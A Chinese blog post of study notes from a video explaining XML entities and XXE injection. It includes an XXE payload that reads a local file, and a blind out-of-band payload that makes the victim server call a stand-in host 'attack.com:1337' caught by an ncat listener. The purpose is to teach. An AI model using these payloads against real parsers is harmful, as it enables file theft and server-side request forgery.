那天看了一個視頻覺得講的很好,但是看了兩遍都只有一個大概的印象,對於其中的細節什么的還是不怎么能描述出來,所以將視頻中的內容記錄下來,方便細細琢磨
視頻鏈接:https://www.bilibili.com/video/BV1at41177SA
一、xml介紹
XML(可擴展標記語言)與HTML類似,但HTML與數據表示有關,而XML更多與數據傳輸、存儲有關。
先來看看xml文檔格式:
<?xml version="1.0"?> //元數據,版本為xml解析器解析的版本 <Person> <Name>John</Name> <Age>20</Age> </Person>
<Person></Person>為根元素,有且僅有一個
需要注意的是,標簽對大小寫敏感,前后標簽必須一致,如<read></Read>則是錯誤的,必須<read></read>
< ,> ," ,' , &等符號不被允許直接出現在XML文檔中,因為xml解析器會搞不清這些符號是數據還是標簽
<Age>20 < > & " '</Age> ×
那么這個時候就需要Entity來解決這個問題 ↓
二、Entity實體介紹
Entity(可用實體):一種簡單的存儲單元,好比xml的變量,可以對它進行賦值,並在xml文檔的不同地方對它進行引用。
實體(Entity)在xml文檔中的文檔類型定義部分(DTD)被單獨定義描述。
舉個栗子:
1 <?xml version="1.0" ?> 2 <!DOCTYPE Person [ 3 <! ENTITY name "John"> //定義了一個存儲單元,這個簡單Entity名稱就為name 4 ]> 5 <Person> 6 <Name>&name;</Name> 7 <Age>20</Age> 8 </Person>
2~4行代碼就是通過DTD方式創建了一個ENTITY告知xml解析器這是一個DTD定義類型
Entity分為三類
①一般實體General(通用型實體)
<?xml name "pwn"?> ... <hello>&pwn;</hello>
②參數實體Parameter(必須預定在單獨的DTD區域)
<!ENTITY %outer "<! ENTITY inner 'J'>">
③預定義實體Predefined(某些特殊符號的一組預定義數值集)
<hello><</hello> // <的十六進制表示
三、外部實體(Xml External Entity)
實體(Entity)有哪些用途呢?
存儲指定數值;從本地文件、從遠程網絡中調用相關數據,作為后續實體引用
那么這就會出現問題
我們先來看看外部實體的一個實例,來幫助我們了解其工作機制
<?xml version="1.0" ?> <!DOCTYPE XXE[ <! ENTITY subscribe SYSTEM "secret.txt"> ]> <pwn>&subscribe;</pwn>
SYSTEM 關鍵字讓xml解析器知道該實體是一個外部實體,需要xml解析器去獲取 “ secret.txt ” 其中的外部資源,並把它存儲到內部實體 subscribe 中
<pwn>&subscribe;</pwn> 內部實體在后續<pwn>標簽中會被調用
secret.txt其中的內容才是內部實體subscibe的賦值
STSYEM “URI” 這里支持有效的URI(文件、http、ftp和其他協議形式內容)
四、外部實體注入 (XXE)
分類:
帶內數據 in-band (就是我們上面舉的外部實體的那個栗子)
基於錯誤 error-based (有點像盲注,解析結果沒有其他,只有一堆報錯)
帶外數據 out-of-band
OOB XXE(盲注XXE)
當我們遇到這種情況時,一個web應用程序,它可以解析XML輸入,但是卻無任何輸出響應,必須用帶外請求把目標提取出來,為了測試這種盲注XXE,我們可以用非文件路徑的外部實體來請求這里的web應用。
例如,在存在xxe漏洞的地方,輸入以下代碼
<?xml version="1.0" ?> <!DOCTYPE XXE[ <!ENTITY subscrible SYSTEM "http://attack.com:1337"> ]> <pwn>&subscrible;</pwn>
在攻擊機attack.com主機上監聽1337端口
ncat -lp 1337
可以看見有反應
XXE ------------------> server ---------------------->attack.com
受害端有效解析了xml,正嘗試獲取我們在attack.com上的資源作為實體引用,這樣我們就能以受害端的身份發起請求了,這就是SSRF